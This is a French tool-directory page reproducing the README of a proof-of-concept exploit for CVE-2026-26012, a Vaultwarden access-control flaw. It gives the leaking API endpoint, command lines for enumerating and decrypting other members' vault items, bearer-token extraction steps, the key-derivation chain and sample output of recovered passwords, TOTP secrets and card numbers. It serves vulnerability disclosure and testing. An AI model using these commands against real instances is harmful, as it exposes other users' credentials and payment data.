Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-26012 — Preuve de concept pour CVE-2026-26012, un contrôle d'accès défaillant dans Vaultwarden qui permet à tout membre d'une organisation d'énumérer et de déchiffrer tous les coffres, contournant les autorisations de collection. | Kitploit
Outils/GitHubGitHub/dulieno/cve-2026-26012
Analyse des VulnérabilitésExploitationSécurité WebCryptographieTests d'IntrusionApprentissage et Éducation
GitHubdulieno/cve-2026-26012

CVE-2026-26012

Preuve de concept pour CVE-2026-26012, un contrôle d'accès défaillant dans Vaultwarden qui permet à tout membre d'une organisation d'énumérer et de déchiffrer tous les coffres, contournant les autorisations de collection.

Voir le dépôt
114il y a 7 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-26012 — PoC d'énumération de ciphers Vaultwarden

AI Assisted License

Énumération complète des ciphers ignorant les permissions de collection d'organisation

Une preuve de concept d'exploitation pour CVE-2026-26012, une vulnérabilité de contrôle d'accès cassé dans Vaultwarden (<= 1.35.2) qui permet à tout membre de l'organisation de récupérer et de déchiffrer tous les ciphers de l'organisation, indépendamment des permissions au niveau des collections.

🤖 Note : Ce projet a été développé avec l'assistance de Claude 3 Opus. L'IA a été utilisée pour la génération de code, la structure architecturale et la documentation. Toutes les sorties ont été revues manuellement et testées pour l'assurance qualité.

Aperçu

CVECVE-2026-26012
Avis de sécuritéGHSA-h265-g7rm-h337
Versions affectéesVaultwarden ≤ 1.35.2
Corrigé dans1.35.3
CVSS 3.16.5 (Moyen) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — Autorisation incorrecte
CréditDécouvert par @odgrso, corrigé par @BlackDex

La vulnérabilité

Le point de terminaison API GET /api/ciphers/organization-details est accessible à tout membre de l'organisation. En interne, il appelle Cipher::find_by_org qui renvoie tous les ciphers de l'organisation, puis les sert avec CipherSyncType::Organization sans appliquer le contrôle d'accès au niveau des collections.

Étant donné que tous les ciphers de l'organisation partagent la même clé de chiffrement d'organisation (que chaque membre reçoit lors de son adhésion), les ciphers divulgués peuvent être entièrement déchiffrés côté client.

Membre régulier de l'organisation (restreint à la collection « Public »)
    │
    ├── GET /api/sync                     → 5 ciphers (correct)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47 ciphers (TOUS les ciphers de l'org — BUG)
                  └──→ 42 ciphers de collections restreintes (DIVULGUÉS)
                        └──→ Déchiffrables avec la clé d'org que le membre possède déjà

Contenu du dépôt

.
├── README.md                   # Ce fichier
├── poc_cve_2026_26012.py       # Phase 1 : Énumération des ciphers et détection de fuite
├── poc_decrypt.py              # Phase 2 : Récupération de la clé d'org et déchiffrement des ciphers
└── LICENSE

Prérequis

  • Python 3.8+
  • cryptography (pour le déchiffrement de la Phase 2)
  • argon2-cffi (uniquement si l'instance cible utilise le KDF Argon2id)
pip install cryptography
pip install argon2-cffi  # optionnel

Utilisation

Phase 1 — Énumérer les ciphers divulgués

Détecte si l'instance est vulnérable en comparant les ciphers renvoyés par le point de terminaison normal /api/sync par rapport au point de terminaison vulnérable /api/ciphers/organization-details.

# Authentifiez-vous via le navigateur (SSO + 2FA pris en charge), puis transmettez le jeton Bearer
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
Toutes les options d'authentification
# Jeton Bearer (recommandé — fonctionne avec SSO + 2FA)
--token "eyJhbGciOi..."

# Cookie de session
--cookie "VAULTWARDEN_SESSION=abc123..."

# En-tête Cookie brut (plusieurs cookies)
--cookie-header "session=abc; token=xyz"

# Connexion directe par mot de passe (PAS de SSO, PAS de 2FA uniquement)
--email [email protected] --password "MasterPassword"

Comment extraire votre jeton Bearer :

  1. Connectez-vous au coffre web Vaultwarden (complétez SSO + 2FA comme d'habitude)
  2. Ouvrez les DevTools du navigateur (F12) → onglet Réseau
  3. Cliquez sur un élément du coffre pour déclencher un appel API
  4. Trouvez une requête vers /api/... et copiez la valeur de l'en-tête Authorization
Options supplémentaires
--no-verify-ssl     # Ignorer la vérification SSL (certificats auto-signés)
--show-all          # Afficher également les ciphers légitimement accessibles
--max-display 50    # Nombre maximal de ciphers divulgués à afficher (défaut : 20)
--output results.json  # Exporter les résultats complets en JSON

Phase 2 — Déchiffrer les ciphers divulgués

Récupère la clé de chiffrement de l'organisation et déchiffre tous les ciphers divulgués de la Phase 1.

python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

Note : --master-password est votre mot de passe principal Vaultwarden, utilisé localement pour dériver la chaîne de clés de déchiffrement. Il n'est jamais envoyé sur le réseau. Le --token gère l'authentification API.

Dépannage : Si le déchiffrement de la clé échoue, ajoutez --debug pour voir les valeurs intermédiaires à chaque étape. Le script essaie automatiquement 5 stratégies (HKDF moderne, HMAC hérité, clé brute et variantes HMAC-skip) pour gérer différents âges de compte et configurations.

Alternative : fournir directement la clé d'org

Si vous possédez déjà la clé d'organisation de 64 octets (128 caractères hexadécimaux) :

python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

Exemple de sortie

[*] === Chaîne de récupération de clé ===

[1/6] Récupération des paramètres KDF...
       KDF : PBKDF2-SHA256, itérations : 600000
[2/6] Dérivation de la clé principale...
[3/6] Étirement de la clé principale (HKDF-Expand)...
[4/6] Récupération des clés chiffrées depuis /api/sync...
       Organisation : ACME Corp
[5/6] Déchiffrement de la clé symétrique utilisateur...
[6/6] Déchiffrement de la clé privée RSA → Clé d'organisation...

[+] Clé d'organisation récupérée avec succès !

[*] Déchiffrement de 42 cipher(s)...

============================================================
  RÉSULTATS DU DÉCHIFFREMENT
============================================================
  Total :      42
  Déchiffrés : 42
  Erreurs :    0

  RÉSUMÉ DE L'IMPACT
  Mots de passe récupérés :     35
  Secrets TOTP récupérés :      12
  Numéros de cartes récupérés : 3
============================================================

Comment ça fonctionne

Chaîne de dérivation de clé

Chaque membre de l'organisation possède déjà la clé symétrique de l'organisation, chiffrée avec sa clé publique RSA. La chaîne de déchiffrement est :

Mot de passe principal + Email
    │  PBKDF2-SHA256 ou Argon2id
    ▼
Clé principale (32 octets)
    │  HKDF-Expand-SHA256
    ▼
Clé étirée : encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (déchiffre profile.key)
    ▼
Clé symétrique utilisateur : encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (déchiffre profile.privateKey)
    ▼
Clé privée RSA (PKCS#8 DER 2048 bits)
    │  RSA-OAEP-SHA1 (déchiffre profile.organizations[].key)
    ▼
Clé d'organisation : encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
Données de cipher déchiffrées

Pourquoi la liste de contrôle d'accès des collections ne protège pas les données

Télécharger l’outil